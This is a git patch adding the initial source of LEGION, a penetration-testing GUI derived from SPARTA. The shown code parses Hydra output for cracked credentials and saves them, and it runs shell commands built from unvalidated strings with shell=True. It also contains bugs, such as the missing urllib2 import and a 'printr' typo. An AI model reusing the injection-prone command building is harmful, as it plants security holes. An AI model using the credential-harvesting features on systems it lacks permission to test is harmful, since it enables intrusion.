From 5b9ea5f70adae690b5f85c6c867904e334a1897a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 19 Sep 2018 04:06:22 -0500 Subject: [PATCH 001/450] Moved from old sparta repo --- .gitignore | 3 + CHANGELOG.txt | 6 + README.md | 31 + app/__init__.py | 0 app/auxiliary.py | 399 ++++++ app/hostmodels.py | 180 +++ app/logic.py | 766 +++++++++++ app/processmodels.py | 199 +++ app/scriptmodels.py | 98 ++ app/servicemodels.py | 226 ++++ app/settings.py | 432 +++++++ controller/__init__.py | 0 controller/controller.py | 682 ++++++++++ db/__init__.py | 0 db/database.py | 256 ++++ db/database.py.orig | 83 ++ db/tables.py | 196 +++ db/tables.py.orig | 185 +++ images/advanced.png | Bin 0 -> 15606 bytes images/browser-big.jpg | Bin 0 -> 2809 bytes images/cisco-big.jpg | Bin 0 -> 5735 bytes images/cisco-icon.png | Bin 0 -> 2715 bytes images/closed.gif | Bin 0 -> 971 bytes images/closetab-hover.png | Bin 0 -> 192 bytes images/closetab-press.png | Bin 0 -> 198 bytes images/closetab-small.png | Bin 0 -> 173 bytes images/closetab.png | Bin 0 -> 178 bytes images/filtered.gif | Bin 0 -> 972 bytes images/finished.gif | Bin 0 -> 184 bytes images/finished.png | Bin 0 -> 191 bytes images/hp-big.jpg | Bin 0 -> 5752 bytes images/hp-icon.png | Bin 0 -> 4398 bytes images/killed.gif | Bin 0 -> 184 bytes images/killed.png | Bin 0 -> 208 bytes images/linux-icon.png | Bin 0 -> 2772 bytes images/open.gif | Bin 0 -> 971 bytes images/question-icon.png | Bin 0 -> 1051 bytes images/running.gif | Bin 0 -> 823 bytes images/screenshot-big.jpg | Bin 0 -> 2772 bytes images/search.png | Bin 0 -> 8714 bytes images/solaris-icon-big.png | Bin 0 -> 5743 bytes images/solaris-icon.png | Bin 0 -> 4172 bytes images/vmware-big.jpg | Bin 0 -> 1898 bytes images/vxworks-icon-big.png | Bin 0 -> 7037 bytes images/vxworks-icon.png | Bin 0 -> 4653 bytes images/waiting.gif | Bin 0 -> 170 bytes images/windows-icon.png | Bin 0 -> 4298 bytes legion.conf | 112 ++ legion.py | 103 ++ parsers/Host.py | 150 +++ parsers/OS.py | 50 + parsers/Parser.py | 148 +++ parsers/Port.py | 40 + parsers/Script.py | 27 + parsers/Service.py | 40 + parsers/Session.py | 34 + parsers/__init__.py | 0 scripts/fingertool.sh | 30 + scripts/ms08-067_check.py | 281 +++++ scripts/ndr.py | 1287 +++++++++++++++++++ scripts/rdp-sec-check.pl | 653 ++++++++++ scripts/smbenum.sh | 79 ++ scripts/snmpbrute.py | 789 ++++++++++++ scripts/x11screenshot.sh | 33 + ui/__init__.py | 0 ui/dialogs.py | 836 ++++++++++++ ui/gui.py | 364 ++++++ ui/gui.ui | 304 +++++ ui/nosplitters/gui.py | 144 +++ ui/nosplitters/gui.ui | 215 ++++ ui/settingsdialogs.py | 1541 +++++++++++++++++++++++ ui/sparta.qss | 13 + ui/view.py | 1434 +++++++++++++++++++++ wordlists/ftp-default-userpass.txt | 10 + wordlists/mssql-default-userpass.txt | 3 + wordlists/mysql-default-userpass.txt | 3 + wordlists/oracle-default-userpass.txt | 58 + wordlists/postgres-default-userpass.txt | 6 + wordlists/snmp-default.txt | 196 +++ wordlists/ssh-password.txt | 2 + wordlists/ssh-user.txt | 5 + 81 files changed, 12732 insertions(+) create mode 100644 CHANGELOG.txt create mode 100644 README.md create mode 100644 app/__init__.py create mode 100644 app/auxiliary.py create mode 100644 app/hostmodels.py create mode 100644 app/logic.py create mode 100644 app/processmodels.py create mode 100644 app/scriptmodels.py create mode 100644 app/servicemodels.py create mode 100644 app/settings.py create mode 100644 controller/__init__.py create mode 100644 controller/controller.py create mode 100644 db/__init__.py create mode 100644 db/database.py create mode 100644 db/database.py.orig create mode 100644 db/tables.py create mode 100644 db/tables.py.orig create mode 100644 images/advanced.png create mode 100644 images/browser-big.jpg create mode 100644 images/cisco-big.jpg create mode 100644 images/cisco-icon.png create mode 100644 images/closed.gif create mode 100644 images/closetab-hover.png create mode 100644 images/closetab-press.png create mode 100644 images/closetab-small.png create mode 100644 images/closetab.png create mode 100644 images/filtered.gif create mode 100644 images/finished.gif create mode 100644 images/finished.png create mode 100644 images/hp-big.jpg create mode 100644 images/hp-icon.png create mode 100644 images/killed.gif create mode 100644 images/killed.png create mode 100644 images/linux-icon.png create mode 100644 images/open.gif create mode 100644 images/question-icon.png create mode 100644 images/running.gif create mode 100644 images/screenshot-big.jpg create mode 100644 images/search.png create mode 100644 images/solaris-icon-big.png create mode 100644 images/solaris-icon.png create mode 100644 images/vmware-big.jpg create mode 100644 images/vxworks-icon-big.png create mode 100644 images/vxworks-icon.png create mode 100644 images/waiting.gif create mode 100644 images/windows-icon.png create mode 100644 legion.conf create mode 100644 legion.py create mode 100644 parsers/Host.py create mode 100644 parsers/OS.py create mode 100644 parsers/Parser.py create mode 100644 parsers/Port.py create mode 100644 parsers/Script.py create mode 100644 parsers/Service.py create mode 100644 parsers/Session.py create mode 100644 parsers/__init__.py create mode 100644 scripts/fingertool.sh create mode 100644 scripts/ms08-067_check.py create mode 100644 scripts/ndr.py create mode 100644 scripts/rdp-sec-check.pl create mode 100644 scripts/smbenum.sh create mode 100644 scripts/snmpbrute.py create mode 100644 scripts/x11screenshot.sh create mode 100644 ui/__init__.py create mode 100644 ui/dialogs.py create mode 100644 ui/gui.py create mode 100644 ui/gui.ui create mode 100644 ui/nosplitters/gui.py create mode 100644 ui/nosplitters/gui.ui create mode 100644 ui/settingsdialogs.py create mode 100644 ui/sparta.qss create mode 100644 ui/view.py create mode 100644 wordlists/ftp-default-userpass.txt create mode 100644 wordlists/mssql-default-userpass.txt create mode 100644 wordlists/mysql-default-userpass.txt create mode 100644 wordlists/oracle-default-userpass.txt create mode 100644 wordlists/postgres-default-userpass.txt create mode 100644 wordlists/snmp-default.txt create mode 100644 wordlists/ssh-password.txt create mode 100644 wordlists/ssh-user.txt diff --git a/.gitignore b/.gitignore index 894a44cc..a70fcb12 100644 --- a/.gitignore +++ b/.gitignore @@ -102,3 +102,6 @@ venv.bak/ # mypy .mypy_cache/ + +# temps +tmp/ diff --git a/CHANGELOG.txt b/CHANGELOG.txt new file mode 100644 index 00000000..8fb55284 --- /dev/null +++ b/CHANGELOG.txt @@ -0,0 +1,6 @@ +LEGION 0.1.1 + +* Support for WSL (Windows Subsystem for Linux) +* Removed Elixir +* Converted to Python3.5+ +* Process handeling ensures dead processes are shown as crashed or finished diff --git a/README.md b/README.md new file mode 100644 index 00000000..2179c978 --- /dev/null +++ b/README.md @@ -0,0 +1,31 @@ +LEGION 0.1.0 (http://gvit.io) +== + +Authors: +---- +Shane Scott + + +Description +---- + +Based off Sparta by SECFORCE. + +Runs on Ubuntu, and Windows Subsystem for Linux + + +Requirements +---- + +Todo + +Installation +---- + +Todo + + +Credits +---- + +Todo diff --git a/app/__init__.py b/app/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/auxiliary.py b/app/auxiliary.py new file mode 100644 index 00000000..2346d3ae --- /dev/null +++ b/app/auxiliary.py @@ -0,0 +1,399 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os, sys, urllib, socket, time, datetime, locale, webbrowser, re # for webrequests, screenshot timeouts, timestamps, browser stuff and regex +from PyQt4 import QtGui, QtCore +from PyQt4.QtCore import * # for QProcess +import errno # temporary for isHttpd +import subprocess # for screenshots with cutycapt +import string # for input validation +from six import u as unicode + +# bubble sort algorithm that sorts an array (in place) based on the values in another array +# the values in the array must be comparable and in the corresponding positions +# used to sort objects by one of their attributes. +def sortArrayWithArray(array, arrayToSort): + for i in range(0, len(array) - 1): + swap_test = False + for j in range(0, len(array) - i - 1): + if array[j] > array[j + 1]: + array[j], array[j + 1] = array[j + 1], array[j] # swap + arrayToSort[j], arrayToSort[j + 1] = arrayToSort[j + 1], arrayToSort[j] + swap_test = True + if swap_test == False: + break + +# converts an IP address to an integer (for the sort function) +def IP2Int(ip): + ip = ip.split("/")[0] # bug fix: remove slash if it's a range + o = list(map(int, ip.split('.'))) + res = (16777216 * o[0]) + (65536 * o[1]) + (256 * o[2]) + o[3] + return res + +# old function, replaced by isHttps (checking for https first is better) +def isHttp(url): + try: + req = urllib2.Request(url) + req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0') + r = urllib2.urlopen(req, timeout=10) + #print 'response code: ' + str(r.code) + #print 'response content: ' + str(r.read()) + return True + + except urllib2.HTTPError as e: + reason = str(sys.exc_info()[1].reason) + # print reason + if reason == 'Unauthorized' or reason == 'Forbidden': + return True + return False + + except: + return False + +def isHttps(ip, port): + try: + req = urllib2.Request('https://'+ip+':'+port) + req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0') + r = urllib2.urlopen(req, timeout=5) +# print '\nresponse code: ' + str(r.code) +# print '\nresponse content: ' + str(r.read()) + return True + + except: + reason = str(sys.exc_info()[1].reason) +# print reason +# if 'Interrupted system call' in reason: +# print 'caught exception. retry?' + + if reason == 'Forbidden': + return True + return False + + +def getTimestamp(human=False): + t = time.time() + if human: + #timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S").decode(locale.getlocale()[1]) + timestamp = datetime.datetime.fromtimestamp(t).strftime("%d %b %Y %H:%M:%S") + else: + timestamp = datetime.datetime.fromtimestamp(t).strftime('%Y%m%d%H%M%S') + return timestamp + +# used by the settings dialog when a user cancels and the GUI needs to be reset +def clearLayout(layout): + if layout is not None: + while layout.count(): + item = layout.takeAt(0) + widget = item.widget() + if widget is not None: + widget.deleteLater() + else: + clearLayout(item.layout()) + +# this function sets a table view's properties +def setTableProperties(table, headersLen, hiddenColumnIndexes = []): + + table.verticalHeader().setVisible(False) # hide the row headers + table.setShowGrid(False) # hide the table grid + table.setSelectionBehavior(QtGui.QTableView.SelectRows) # select entire row instead of single cell + table.setSortingEnabled(True) # enable column sorting + table.horizontalHeader().setStretchLastSection(True) # header behaviour + table.horizontalHeader().setSortIndicatorShown(False) # hide sort arrow from column header + table.setWordWrap(False) # row behaviour + table.resizeRowsToContents() + + for i in range(0, headersLen): # reset all the hidden columns + table.setColumnHidden(i, False) + + for i in hiddenColumnIndexes: # hide some columns + table.setColumnHidden(i, True) + + table.setContextMenuPolicy(Qt.CustomContextMenu) # create the right-click context menu + +def checkHydraResults(output): + usernames = [] + passwords = [] + string = '\[[0-9]+\]\[[a-z-]+\].+' # when a password is found, the line contains [port#][plugin-name] + results = re.findall(string, output, re.I) + if results: + for line in results: + login = re.search('(login:[\s]*)([^\s]+)', line) + if login: + print('Found username: ' + login.group(2)) + usernames.append(login.group(2)) + password = re.search('(password:[\s]*)([^\s]+)', line) + if password: + #print 'Found password: ' + password.group(2) + + passwords.append(password.group(2)) + return True, usernames, passwords # returns the lists of found usernames and passwords + return False, [], [] + +def exportNmapToHTML(filename): + try: + command = 'xsltproc -o ' + str(filename)+'.html ' + str(filename)+ '.xml' + p = subprocess.Popen(command, shell=True) + p.wait() + + except: + print('[-] Could not convert nmap XML to HTML. Try: apt-get install xsltproc') + +# this class is used for example to store found usernames/passwords +class Wordlist(): + def __init__(self, filename): # needs full path + self.filename = filename + self.wordlist = [] + with open(filename, 'a+') as f: # open for appending + reading + self.wordlist = f.readlines() + print('[+] Wordlist was created/opened: ' + str(filename)) + + def setFilename(self, filename): + self.filename = filename + + # adds a word to the wordlist (without duplicates) + def add(self, word): + with open(self.filename, 'a') as f: + if not word+'\n' in self.wordlist: + #print('[+] Adding '+word+' to the wordlist..') + self.wordlist.append(word+'\n') + f.write(word+'\n') + +# Custom QProcess class +class MyQProcess(QProcess): + sigHydra = QtCore.pyqtSignal(QObject, list, list, name="hydra") # signal to indicate Hydra found stuff + + def __init__(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox): + QProcess.__init__(self) + self.id = -1 + self.name = name + self.tabtitle = tabtitle + self.hostip = hostip + self.port = port + self.protocol = protocol + self.command = command + self.starttime = starttime + self.outputfile = outputfile + self.display = textbox # has its own display widget to be able to display its output in the GUI + + @pyqtSlot() # this slot allows the process to append its output to the display widget + def readStdOutput(self): + output = str(self.readAllStandardOutput()) + #output = QString(self.readAllStandardOutput()) + #self.display.appendPlainText(unicode(output, 'utf-8').strip()) + self.display.appendPlainText(unicode(output).strip()) + + if self.name == 'hydra': # check if any usernames/passwords were found (if so emit a signal so that the gui can tell the user about it) + found, userlist, passlist = checkHydraResults(output) + if found: # send the brutewidget object along with lists of found usernames/passwords + self.sigHydra.emit(self.display.parentWidget(), userlist, passlist) + + stderror = str(self.readAllStandardError()) + #stderror = QString(self.readAllStandardError()) + + if len(stderror) > 0: + #self.display.appendPlainText(unicode(stderror, 'utf-8').strip()) # append standard error too + self.display.appendPlainText(unicode(stderror).strip()) # append standard error too + +# browser opener class with queue and semaphores +class BrowserOpener(QtCore.QThread): + done = QtCore.pyqtSignal(name="done") # signals that we are done opening urls in browser + + def __init__(self): + QtCore.QThread.__init__(self, parent=None) + self.urls = [] + self.processing = False + + def addToQueue(self, url): + self.urls.append(url) + + def run(self): + while self.processing == True: + self.sleep(1) # effectively a semaphore + + self.processing = True + for i in range(0, len(self.urls)): + try: + url = self.urls.pop(0) + printr('[+] Opening url in browser: ' + url) + if isHttps(url.split(':')[0],url.split(':')[1]): + webbrowser.open_new_tab('https://' + url) + else: + webbrowser.open_new_tab('http://' + url) + if i == 0: + self.sleep(3) # fixes bug in Kali. have to sleep on first url so the next ones don't open a new browser instead of adding a new tab + else: + self.sleep(1) # fixes bug when several calls to urllib occur too fast (interrupted system call) + + except: + print('\t[-] Problem while opening url in browser. Moving on..') + continue + + self.processing = False + if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over + self.run() + else: + self.done.emit() + +class Screenshooter(QtCore.QThread): + done = QtCore.pyqtSignal(str, str, str, name="done") # signal sent after each individual screenshot is taken + + def __init__(self, timeout): + QtCore.QThread.__init__(self, parent=None) + self.urls = [] + self.processing = False + self.timeout = timeout # screenshooter timeout (ms) + + def addToQueue(self, url): + self.urls.append(url) + + # this function should be called when the project is saved/saved as as the tool-output folder changes + def updateOutputFolder(self, screenshotsFolder): + self.outputfolder = screenshotsFolder + + def run(self): + + while self.processing == True: + self.sleep(1) # effectively a semaphore + + self.processing = True + + for i in range(0, len(self.urls)): + try: + url = self.urls.pop(0) + outputfile = getTimestamp()+'-screenshot-'+url.replace(':', '-')+'.png' + ip = url.split(':')[0] + port = url.split(':')[1] +# print '[+] Taking screenshot of '+url + # add to db + + if isHttps(ip,port): + self.save("https://"+url, ip, port, outputfile) + else: + self.save("http://"+url, ip, port, outputfile) + + except: + print('\t[-] Unable to take the screenshot. Moving on..') + continue + + self.processing = False + + if not len(self.urls) == 0: # if meanwhile urls were added to the queue, start over unless we are in pause mode + self.run() + + print('\t[+] Finished.') + + def save(self, url, ip, port, outputfile): + print('[+] Saving screenshot as: '+str(outputfile)) + command = "cutycapt --max-wait="+str(self.timeout)+" --url="+str(url)+"/ --out=\""+str(self.outputfolder)+"/"+str(outputfile)+"\"" +# print command + p = subprocess.Popen(command, shell=True) + p.wait() # wait for command to finish + self.done.emit(ip,port,outputfile) # send a signal to add the 'process' to the DB + +# This class handles what is to be shown in each panel +class Filters(): + def __init__(self): + # host filters + self.checked = True + self.up = True + self.down = False + # port/service filters + self.tcp = True + self.udp = True + self.portopen = True + self.portclosed = False + self.portfiltered = False + self.keywords = [] + + def apply(self, up, down, checked, portopen, portfiltered, portclosed, tcp, udp, keywords = []): + self.checked = checked + self.up = up + self.down = down + self.tcp = tcp + self.udp = udp + self.portopen = portopen + self.portclosed = portclosed + self.portfiltered = portfiltered + self.keywords = keywords + + def setKeywords(self, keywords): + print(str(keywords)) + self.keywords = keywords + + def getFilters(self): + return [self.up, self.down, self.checked, self.portopen, self.portfiltered, self.portclosed, self.tcp, self.udp, self.keywords] + + def display(self): + print('Filters are:') + print('Show checked hosts: ' + str(self.checked)) + print('Show up hosts: ' + str(self.up)) + print('Show down hosts: ' + str(self.down)) + print('Show tcp: ' + str(self.tcp)) + print('Show udp: ' + str(self.udp)) + print('Show open ports: ' + str(self.portopen)) + print('Show closed ports: ' + str(self.portclosed)) + print('Show filtered ports: ' + str(self.portfiltered)) + print('Keyword search:') + for w in self.keywords: + print(w) + + +### VALIDATION FUNCTIONS ### +# TODO: should probably be moved to a new file called validation.py + +def sanitise(string): # this function makes a string safe for use in sql query. the main point is to prevent sparta from breaking, not so much SQLi as such. + s = string.replace('\'', '\'\'') + return s + +def validateNmapInput(text): # validate nmap input entered in Add Hosts dialog + if re.search('[^a-zA-Z0-9\.\/\-\s]', text) is not None: + return False + return True + +def validateCredentials(text): + return True + +def validateCommandFormat(text): # used by settings dialog to validate commands + if text is not '' and text is not ' ': + return True + return False + +def validateNumeric(text): # only allows numbers + if text.isdigit(): + return True + return False + +def validateString(text): # only allows alphanumeric characters, '_' and '-' + if text is not '' and re.search("[^A-Za-z0-9_-]+", text) is None: + return True + return False + +def validateStringWithSpace(text): # only allows alphanumeric characters, '_', '-' and space + if text is not '' and re.search("[^A-Za-z0-9_() -]+", text) is None: + return True + return False + +def validateNmapPorts(text): # only allows alphanumeric characters and the following: ./-'"*,:[any kind of space] + if re.search('[^a-zA-Z0-9\.\/\-\'\"\*\,\:\s]', text) is not None: + return False + return True + +def validatePath(text): # only allows valid paths which exist in the OS + if os.path.isdir(text): + return True + return False + +def validateFile(text): # only allows valid files which exist in the OS + if os.path.isfile(text): + return True + return False diff --git a/app/hostmodels.py b/app/hostmodels.py new file mode 100644 index 00000000..a8868690 --- /dev/null +++ b/app/hostmodels.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2014 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import re +from PyQt4 import QtGui, QtCore +from PyQt4.QtGui import * # for QFont +from app.auxiliary import * # for bubble sort + +class HostsTableModel(QtCore.QAbstractTableModel): + + def __init__(self, hosts = [[]], headers = [], parent = None): + QtCore.QAbstractTableModel.__init__(self, parent) + self.__headers = headers + self.__hosts = hosts + + def setHosts(self, hosts): + self.__hosts = hosts + + def rowCount(self, parent): + return len(self.__hosts) + + def columnCount(self, parent): + if not len(self.__hosts) is 0: + return len(self.__hosts[0]) + return 0 + + def headerData(self, section, orientation, role): + if role == QtCore.Qt.DisplayRole: + if orientation == QtCore.Qt.Horizontal: + if section < len(self.__headers): + return self.__headers[section] + else: + return "not implemented" + + def data(self, index, role): # this method takes care of how the information is displayed + if role == QtCore.Qt.DecorationRole: # to show the operating system icon instead of text + if index.column() == 1: # if trying to display the operating system + os_string = self.__hosts[index.row()]['os_match'] + if os_string == '': # if there is no OS information, use the question mark icon + return QtGui.QIcon("./images/question-icon.png") + + elif re.search('[lL]inux', os_string, re.I): + return QtGui.QIcon("./images/linux-icon.png") + + elif re.search('[wW]indows', os_string, re.I): + return QtGui.QIcon("./images/windows-icon.png") + + elif re.search('[cC]isco', os_string, re.I): + return QtGui.QIcon("./images/cisco-big.jpg") + + elif re.search('HP ', os_string, re.I): + return QtGui.QIcon("./images/hp-icon.png") + + elif re.search('[vV]x[wW]orks', os_string, re.I): + return QtGui.QIcon("./images/hp-icon.png") + + elif re.search('[vV]m[wW]are', os_string, re.I): + return QtGui.QIcon("./images/vmware-big.jpg") + + else: # if it's an unknown OS also use the question mark icon + return QtGui.QIcon("./images/question-icon.png") + + if role == QtCore.Qt.DisplayRole: # how to display each cell + value = '' + row = index.row() + column = index.column() + if column == 0: + value = self.__hosts[row]['id'] + elif column == 2: + value = self.__hosts[row]['os_accuracy'] + elif column == 3: + if not self.__hosts[row]['hostname'] == '': + value = self.__hosts[row]['ip'] + ' ('+ self.__hosts[row]['hostname'] +')' + else: + value = self.__hosts[row]['ip'] + elif column == 4: + value = self.__hosts[row]['ipv4'] + elif column == 5: + value = self.__hosts[row]['ipv6'] + elif column == 6: + value = self.__hosts[row]['macaddr'] + elif column == 7: + value = self.__hosts[row]['status'] + elif column == 8: + value = self.__hosts[row]['hostname'] + elif column == 9: + value = self.__hosts[row]['vendor'] + elif column == 10: + value = self.__hosts[row]['uptime'] + elif column == 11: + value = self.__hosts[row]['lastboot'] + elif column == 12: + value = self.__hosts[row]['distance'] + return value + + if role == QtCore.Qt.FontRole: + # if a host is checked strike it out and make it italic + if index.column() == 3 and self.__hosts[index.row()]['checked'] == 'True': + checkedFont=QFont() + checkedFont.setStrikeOut(True) + checkedFont.setItalic(True) + return checkedFont + + def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc + return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable # add QtCore.Qt.ItemIsEditable to edit item + + def sort(self, Ncol, order): # sort function called when the user clicks on a header + + self.emit(SIGNAL("layoutAboutToBeChanged()")) + array = [] + + if Ncol == 0 or Ncol == 3: # if sorting by IP address (and by default) + for i in range(len(self.__hosts)): + array.append(IP2Int(self.__hosts[i]['ip'])) + + elif Ncol == 1: # if sorting by OS + for i in range(len(self.__hosts)): + + os_string = self.__hosts[i]['os_match'] + if os_string == '': + array.append('') + + elif re.search('[lL]inux', os_string, re.I): + array.append('Linux') + + elif re.search('[wW]indows', os_string, re.I): + array.append('Windows') + + elif re.search('[cC]isco', os_string, re.I): + array.append('Cisco') + + elif re.search('HP ', os_string, re.I): + array.append('Hp') + + elif re.search('[vV]x[wW]orks', os_string, re.I): + array.append('Hp') + + elif re.search('[vV]m[wW]are', os_string, re.I): + array.append('Vmware') + + else: + array.append('') + + sortArrayWithArray(array, self.__hosts) # sort the array of OS + + if order == Qt.AscendingOrder: # reverse if needed + self.__hosts.reverse() + + self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + + ### getter functions ### + + def getHostIPForRow(self, row): + return self.__hosts[row]['ip'] + + def getHostIdForRow(self, row): + return self.__hosts[row]['id'] + + def getHostCheckStatusForRow(self, row): + return self.__hosts[row]['checked'] + + def getHostCheckStatusForIp(self, ip): + for i in range(len(self.__hosts)): + if str(self.__hosts[i]['ip']) == str(ip): + return self.__hosts[i]['checked'] + + def getRowForIp(self, ip): + for i in range(len(self.__hosts)): + if self.__hosts[i]['ip'] == ip: + return i diff --git a/app/logic.py b/app/logic.py new file mode 100644 index 00000000..bcaaeed1 --- /dev/null +++ b/app/logic.py @@ -0,0 +1,766 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os, tempfile, ntpath, shutil # for creation of temp files and file operations +import logging # test +import subprocess # for CWD +from parsers.Parser import * +from db.database import * +from app.auxiliary import * +from six import u as unicode + +class Logic(): + def __init__(self): + self.cwd = str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode())+'/' + self.createTemporaryFiles() # creates temporary files/folders used by SPARTA + + def createTemporaryFiles(self): + try: + print('[+] Creating temporary files..') + + self.istemp = False # indicates that file is temporary and can be deleted if user exits without saving + print(self.cwd) + tf = tempfile.NamedTemporaryFile(suffix=".sprt",prefix="sparta-", delete=False, dir="./tmp/") # to store the database file + self.outputfolder = tempfile.mkdtemp(suffix="-tool-output",prefix="sparta-", dir="./tmp/") # to store tool output of finished processes + self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="sparta-", dir="./tmp/") # to store tool output of running processes + os.makedirs(self.outputfolder+'/screenshots') # to store screenshots + os.makedirs(self.runningfolder+'/nmap') # to store nmap output + os.makedirs(self.runningfolder+'/hydra') # to store hydra output + self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + self.projectname = tf.name + print(tf.name) + self.db = Database(self.projectname) + + except: + print('\t[-] Something went wrong creating the temporary files..') + print("[-] Unexpected error:", sys.exc_info()) + + def removeTemporaryFiles(self): + print('[+] Removing temporary files and folders..') + try: + if not self.istemp: # if current project is not temporary + if not self.storeWordlists: # delete wordlists if necessary + print('[+] Removing wordlist files.') + os.remove(self.usernamesWordlist.filename) + os.remove(self.passwordsWordlist.filename) + + else: + os.remove(self.projectname) + shutil.rmtree(self.outputfolder) + + shutil.rmtree(self.runningfolder) + + except: + print('\t[-] Something went wrong removing temporary files and folders..') + print("[-] Unexpected error:", sys.exc_info()[0]) + + def createFolderForTool(self, tool): + if 'nmap' in tool: + tool = 'nmap' + path = self.runningfolder+'/'+re.sub("[^0-9a-zA-Z]", "", str(tool)) + if not os.path.exists(path): + os.makedirs(path) + + # this flag is matched to the conf file setting, so that we know if we need to delete the found usernames/passwords wordlists on exit + def setStoreWordlistsOnExit(self, flag=True): + self.storeWordlists = flag + + # this function moves the specified tool output file from the temporary 'running' folder to the 'tool output' folder + def moveToolOutput(self, outputFilename): + try: + # first create the tool folder if it doesn't already exist + tool = ntpath.basename(ntpath.dirname(str(outputFilename))) + path = self.outputfolder+'/'+str(tool) + if not os.path.exists(str(path)): + os.makedirs(str(path)) + + # check if the outputFilename exists, if not try .xml and .txt extensions (different tools use different formats) + if os.path.exists(str(outputFilename)) and os.path.isfile(str(outputFilename)): + shutil.move(str(outputFilename), str(path)) + # move all the nmap files (not only the .xml) + elif os.path.exists(str(outputFilename)+'.xml') and os.path.exists(str(outputFilename)+'.nmap') and os.path.exists(str(outputFilename)+'.gnmap') and os.path.isfile(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.nmap') and os.path.isfile(str(outputFilename)+'.gnmap'): + try: + exportNmapToHTML(str(outputFilename)) + shutil.move(str(outputFilename)+'.html', str(path)) + except: + pass + + shutil.move(str(outputFilename)+'.xml', str(path)) + shutil.move(str(outputFilename)+'.nmap', str(path)) + shutil.move(str(outputFilename)+'.gnmap', str(path)) + elif os.path.exists(str(outputFilename)+'.xml') and os.path.isfile(str(outputFilename)+'.xml'): + shutil.move(str(outputFilename)+'.xml', str(path)) + elif os.path.exists(str(outputFilename)+'.txt') and os.path.isfile(str(outputFilename)+'.txt'): + shutil.move(str(outputFilename)+'.txt', str(path)) + except: + print('[-] Something went wrong moving the tool output file..') + print("[-] Unexpected error:", sys.exc_info()[0]) + + def copyNmapXMLToOutputFolder(self, file): + try: + path = self.outputfolder+"/nmap" + filename = ntpath.basename(str(file)) + if not os.path.exists(str(path)): + os.makedirs(str(path)) + + shutil.copy(str(file), str(path)) # will overwrite if file already exists + except: + print('[-] Something went wrong copying the imported XML to the project folder.') + print("[-] Unexpected error:", sys.exc_info()[0]) + + def openExistingProject(self, filename): + try: + print('[+] Opening project..') + self.istemp = False # indicate the file is NOT temporary and should NOT be deleted later + + self.projectname = str(filename) # set the new projectname and outputfolder vars + if not str(filename).endswith('.sprt'): + self.outputfolder = str(filename)+'-tool-output' # use the same name as the file for the folder (without the extension) + else: + self.outputfolder = str(filename)[:-5]+'-tool-output' + + self.usernamesWordlist = Wordlist(self.outputfolder + '/sparta-usernames.txt') # to store found usernames + self.passwordsWordlist = Wordlist(self.outputfolder + '/sparta-passwords.txt') # to store found passwords + + self.runningfolder = tempfile.mkdtemp(suffix="-running",prefix="sparta-") # to store tool output of running processes + self.db = Database(self.projectname) # use the new db + self.cwd = ntpath.dirname(str(self.projectname))+'/' # update cwd so it appears nicely in the window title + + except: + print('\t[-] Something went wrong while opening the project..') + print("[-] Unexpected error:", sys.exc_info()[0]) + + # this function copies the current project files and folder to a new location + # if the replace flag is set to 1, it overwrites the destination file and folder + def saveProjectAs(self, filename, replace=0): + try: + # the folder name must be : filename-tool-output (without the .sprt extension) + if not str(filename).endswith('.sprt'): + foldername = str(filename)+'-tool-output' + filename = str(filename) + '.sprt' + else: + foldername = filename[:-5]+'-tool-output' + + # check if filename already exists (skip the check if we want to replace the file) + if replace == 0 and os.path.exists(str(filename)) and os.path.isfile(str(filename)): + return False + + shutil.copyfile(self.projectname, str(filename)) + os.system('cp -r "'+self.outputfolder+'/." "'+str(foldername)+'"') + + if self.istemp: # we can remove the temp file/folder if it was temporary + print('[+] Removing temporary files and folders..') + os.remove(self.projectname) + shutil.rmtree(self.outputfolder) + + self.db.openDB(str(filename)) # inform the DB to use the new file + self.cwd = ntpath.dirname(str(filename))+'/' # update cwd 